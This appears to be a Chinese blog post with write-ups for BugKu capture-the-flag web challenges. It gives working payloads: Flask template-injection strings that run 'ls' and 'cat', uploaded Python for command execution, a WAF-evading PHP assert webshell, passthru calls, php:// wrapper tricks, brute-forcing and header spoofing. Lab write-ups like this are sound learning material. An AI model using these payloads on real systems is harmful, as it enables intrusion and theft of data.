BugKu POST,计算器,Simple SSTI_1,Simple SSTI_2,Flask_FileUpload,Alert,你必须让他停下,网站被黑

BugKu

POST
考点:代码审计
$what=$_POST['what'];可以知道使用的是POST传参

判断语句是只要满足传的参数全等于“flag”即可获得flag

因为使用的是POST传参所以我使用了HackBar上传数据
计算器
考点:HTML代码
先计算了一下,答案是91,但发现输入的时候只能输入一位数字。我就看来一下用F12看了一下输入框的HTML代码,发现它限制了最大输入的位数,于是我把maxlength改成了3,就成功获得flag了
Simple SSTI_1
考点:flask的了解
SSTI的意思就是模板注入

阅读代码可以知道,要上传一个参数名flag的一个参数,但下面有一行注释标记提示为:使用了一个flask的web框架,在里面设置了一个secret_key变量。在flask中双括号{{}}的意思为调用并传参所以我们只要传flag={{config.SECRET_KEY}}即可获得flag
Simple SSTI_2
考点:flask的了解
阅读代码可以知道,要上传一个参数名flag的一个参数,题目提示我们这题的类型为模板注入,于是想到了flask模板漏洞。通过
flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read()}}来读取系统文件(网站系统目录)
发现了一些一下一些目录
app bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var
一个个试过去看看,flag在哪个目录下
flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app').read()}}发现app目录下有
Dockerfile app.py flag gunicorn.conf.py templates
里面有一个flag文件,查看它
flag={{config.__class__.__init__.__golbals__['os'].popen('cat ../app/flag')}}
即可获得flag
Flask_FileUpload
考点:文件上传+远程命令执行
阅读代码可以知道文件只能上传.jpg和.png后缀的文件,注释的意思是文件的内容会被python执行
于是给他上传一个python代码来查看他的目录,执行的代码:
import os
print (os.system('ls ../'))
发现一下目录
app bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
查看flag文件,执行的代码
import os
print (os.system('cat ../flag')),即可看见flag
Alert
考点:解码

Alert是一种JS的弹窗命令,我们直接F12看一下网页的源代码,发现有一串非常奇怪的编码,于是我就用Bp一个个解码试了一下,用HTML解码就成功获得了flag

你必须让他停下
考点:js的禁用

看到题目我猜他是用js在刷新页面,于是我就去谷歌浏览器禁用了一下js(设置,隐私和安全,网站设置,JS,禁用),然后一直刷新网页知道出现flag就好了

网站被黑
考点:web安全
进入长这样发现什么都干不了,但是一般网站被黑都会有一个shell,直接尝试shell.php进入发现有一个简单的登录界面,直接用Bp尝试爆破,爆破出hack字段,尝试登录,登录成功获得flag
留言板
考点:存储型xss漏洞
看见留言板就想到了存储型XSS漏洞,先使用dirsearch跑一下文件的目录,看一下有哪些子目录
发现一个admin.php子目录,进去看看

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1BzTHbr9-1686194509645)(C:\Users\29696\AppData\Roaming\Typora\typora-user-images\image-20230516210514489.png)]

看见了一个登录框,我用Bp爆破出来用户名和密码分别是admin,011be4d65feac1a8
F12看见Cookie里面藏了flag为flag%7Ba8f866d531d4d699aa2acf7f2319a73a%7D
使用解码工具解出flag
社工-初步收集
考点:社工
拿到网站什么都干不了,只能下载一个文件,先把文件下载了,然后使用了dirsearch跑了一下他的子目录发现有几个可以使用的子目录

img

访问子目录
后面用wsreshark抓了一下包
发现了一个后缀为@163的邮箱是一个网易的邮箱,下面有一串编码用base64解码,得出密码尝试去登录,发现登录不成功,于是想到那是一串授权码,用授权码登录成功,翻邮件找到用户名为mara,密码为:20010206登录成功
翻阅网站得到flag
bp
考点:爆破,代码审计
提示用Bp爆破,尝试爆破,发现所有的长度都相同,看了一下包里的内容
发现错误包里面都会返回一个JavaScript代码告知我们的密码有错误,所以我们通过Burpsuite的 (*Intruder*设置里找到检索 – 匹配 在响应中找出存在指定的内容的一项。)过滤掉存在JavaScript代码中的{code: 'bugku10000'}的数据包。然后继续尝试爆破
看见zxc123和其他的不同,于是尝试登录,登录成功,获得flag
本地管理员
考点:xxf
抓个包看看
发现base64编码,解码得test123尝试登录,发现提示:*IP禁止访问,请联系本地管理员登陆,IP已被记录*.在请求头中输入,”X-Forwarded-For: 127.0.0.1“利用xff伪装用本地登录,提示账号或密码错误,账号有admin试试,成功获取flag
eval
考点:代码审计
代码解读
$_REQUEST[]:用于获取GET和POST发出的请求数据
eval():将字符串解读成php语句
show_source():将文件高亮显示
解题方法
他已经告诉我们flag在flag.php中,我们要想到获取文件的内容。看代码知道是用hello进行传参,所以只要用  /?hello=file('flag.php')上传就可以看见flag了
game1
考点:web安全
他是一个游戏,首先想到的是通关这个游戏,获得flag,发现这个游戏的难度有点高,过不了。然后就去查看一下包,他的包有点多,于是筛选了sign的包
进入这个包
看见参数score=25和我的分数一样,还有一个参数sign=zMMju===明显是一种编码,看着像Base64编码,但是我没有解出来。结果是因为他是zM+Base64编码+==,于是我给他分解出来,然后用Base64解码,解出zM25==,又是25.所以我决定修改这两个数,我猜他们就是分数,我把score=25改为了score=999999,把sign=zMMju===改为了sign=zM(999999Base64编码)==。出现flag
变量1
考点:代码审计
代码解读
error_reporting(0):关闭PHP的错误显示
include“flag1.php”引用php文件
highligth_file(_file_):将文件高亮显示
if(isset($_GET['args'])):判断URL直接定义的args是否存在,简单说就是判断有没有传一个叫args的参
if(!preg_match("/^\w+$/",$args)):/^开始, \w表示任意一个单词字符,即[a-zA-Z0-9_] ,+将前面的字符匹配一次或多次,$/结尾;简单来说就是不允许参数$args包含除“A-Z”,“a-z”,"0-9"以外的字符
var_dump():显示关于一个或多个表达式的结构信息
解题思路
他把所有的除单词字符以为的字符都给屏蔽了,所以就不可以注入了。但是eval("var_dump($$args);")这条语句中多打了一个$符号,因此可以通过args 传入变量名称,通过var_dump来获取该变量的值.我们用全局变量$GLOBALS,此变量能够显示该php中(包括include的文件)所有变量的值,同时题目题提示我们flag位于变量中,因此需要将args值设为GLOBALS就可以获得到flag
头等舱
考点:Bp
看了一下网页的源代码发现没什么东西,于是先抓个包,结果他的响应包里的请求头中就存在flag
备份是个好习惯
考点:备份文件的后缀,代码审计
题目一堆乱码,但是发现这个乱码是重写了2遍的,其他也没什么有用的资源。根据题目知道有一个备份文件,在链接后面加上index。php.bak(.bak就是一个备份文件,这个也可以用dirsearch扫出来),他就自动下载了一个文件,我就用记事本打开,发现是一段PHP代码
大概意思就是MD5的key1要全等于MD5的key2并且key1不等于key2就可以获得flag

使用kekeyy数组进行绕过,md5函数无法处理数组,这样就会返回两个NULL,而两个NULL的md5值是一样的,但是传入的key值可以不同。在链接后面加上kekeyy1[]=aaa&kekeyy2[]=bbbb就可以获得flag
文件包含
考点:php伪协议
看了一下源代码之类的东西,发现没有什么有用的东西。他是一题文件包含,就先想到了php伪协议,先判断出了他是用GET传值的,然后就用伪协议给他传值查看了一下
把这段Baes64解码一下就获得了flag
请输入密码
考点:bp
看见登录框,我就直接先爆破了,结果被我爆破出来了密码为123468,点击查看,flag就直接出来了
cookies
考点:代码审计
看见源代码什么都没有告诉我们,但是发现url上有一些参数,有一个base64编码,解出来是keys.txt。我想看一下他的index.php里的内容,我就把index.php转换为base64编码,上传发现没有什么东西,但是前面是有一个line,可以让他显示行数。我就试了一下,他不能一起显示,我就一行一行显示出来放在txt中
这段代码的大概意思就是:上传一个cookie为margin=margin,会获得一个keys.php文件,把可以keys.php转换为Base64编码传上去就好了
源代码
考点:代码审计
p1和p2是2段URL编码,于是就直接解码得
看见eval得意思是把p1和54aa2和p2拼接在一起,并将其作为JavaScript 代码进行执行
拼接后为:67d709b2b54aa2aa648cf6e87a7114f1,试着把他上传,获得flag
好像需要密码
考点:bp
提示是5位数字的密码,看了一圈没什么东西,直接暴力破解,得出密码为12468,输入获得flag
No one knows regex better than me
考点:正则表达式
代码解读:

用GET传2个值分别为zero和first,然后second会把这两个值合并起来。
进入第一层判断语句,第一层的意思是second需要匹配到“Yeedo,wants,a,girl,friend,or,a,flag”才会进入第二层判断,否则显示file文件。
第二层判断的意思为匹配到"..和flag"会提示"Noooood hacker!" 否则thied=first,进入判断语句“ if(preg_match("/\\|\056\160\150\x70/i",$third))”这句话意思是其中 `\|` 表示匹配竖线字符 `|` ,`\056` 表示八进制数字符号 `.`, `\160` 表示八进制数字符号 `p`, `\150` 表示八进制数字符号 `h`,`\x` 表示十六进制数表示的字符 `p`)。
所以上传"/|.php"就会匹配成功,进去之后会有一个新的字符串end的值是third从第5个字符开始往后截取的到末尾的所有字符。
flag就在base64编码的zero字符串加上end字符串,所以我要将zero上传的字符串flag改为base64编码。
first上传的字符串改为aaaa|.php(为什么是aaaa,因为aaaa匹配第一层判断,才可以进入下面的语句,用girl也是可以的)就可以获得flag
never_give_up
考点:php伪协议、正则、用了py爬虫
看见有一个1p.html访问了一下发现是BugKu的论坛,于是用[爬虫](https://so.csdn.net/so/search?q=爬虫&spm=1001.2101.3001.7020)将这个源码给request下来
python代码解读:

引用requests模块,指定url地址存在url变量中,定义了一个字典 head,指定了 HTTP 请求的头,其中 User-Agent 是浏览器发送 HTTP 请求时的一个头部信息,用于指明浏览器的类型和版本。使用 requests 库的 `get()` 函数发起 HTTP GET 请求,传递 URL 和头部信息 head 作为参数。访问成功后,将响应的 HTML 内容存储在变量 html 中。最后用print打印出来
发现了一段编码,去解码
我这边是解了3次才解出来
代码解读:
一共要上传三个参数分别为id,a,b;第一层判断语句如果没有id这个参数则会重定向到 hello.php 页面,并带上 id=1 参数,然后终止程序。
第二层判断语句参数a如果包含"."则会输出nonono并终止程序
data参数值为获取 a 参数指定的 URL 的内容
第三层判断语句是检查变量 $data 是否等于字符串 “bugku is a nice plateform!”,检查变量 $id 是否等于 0,检查变量 $b 的长度是否大于 5,检查变量 $b 的第一个字符是否满足某个条件,即前三个字符是 “111”,第四个字符是 “1”、“4” 之一,并且第一个字符不是 “4”。
可以得到
$data=="bugku is a nice plateform!”
id==0与if(!GET( ′ id ′ )矛盾,所以用id=0e123456绕过,id为其他也可以。
用$a=php://input通过php伪协议去绕过file_get_contents
b的长度大于5,eregi(“111”.substr($b,0,1),“1114”)这个函数是b的正则匹配 ,
substr(b,0,1)!=4这个说明b开头不能为4,所以令$b=*111114
shell
考点:waf
进去网站啥都没有,一片空白。看作者提示:过狗一句话
$poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc); 
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];  $poc_2($_GET['s']) 
其实就是运用拼接过waf,最后的运行结果是assert($_GET[‘s’])
很明显assert是能执行shell命令的危险函数之一,要带过去的参数是s
那么可以直接构造,首先想到system函数,没禁用
?s=system(“ls”)查看当前路径,找到flag文件,直接在url里面输入读取就好了
看见flag字眼的txt文件,访问一下,直接获得了flag
聪明的php
考点:代码执行
意思为:传递一个参数,可能标志文件的文件名是随机的
于是我就传了一个参数a=1发现他会在网页中显示出来并且出现了一段php代码
我又上传了a={{2*3}},发现他在网页中显示为6,说明它可以执行php代码,但是它过滤了一堆调用函数,好在还有一个调用函数passthru没有过滤,所以直接执行代码"a={passthru("ls /")}"获得了一些文件
看见了一个特殊的文件名"_11254"看一下里面的内容“a={passthru("more /_11254")}获得flag
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值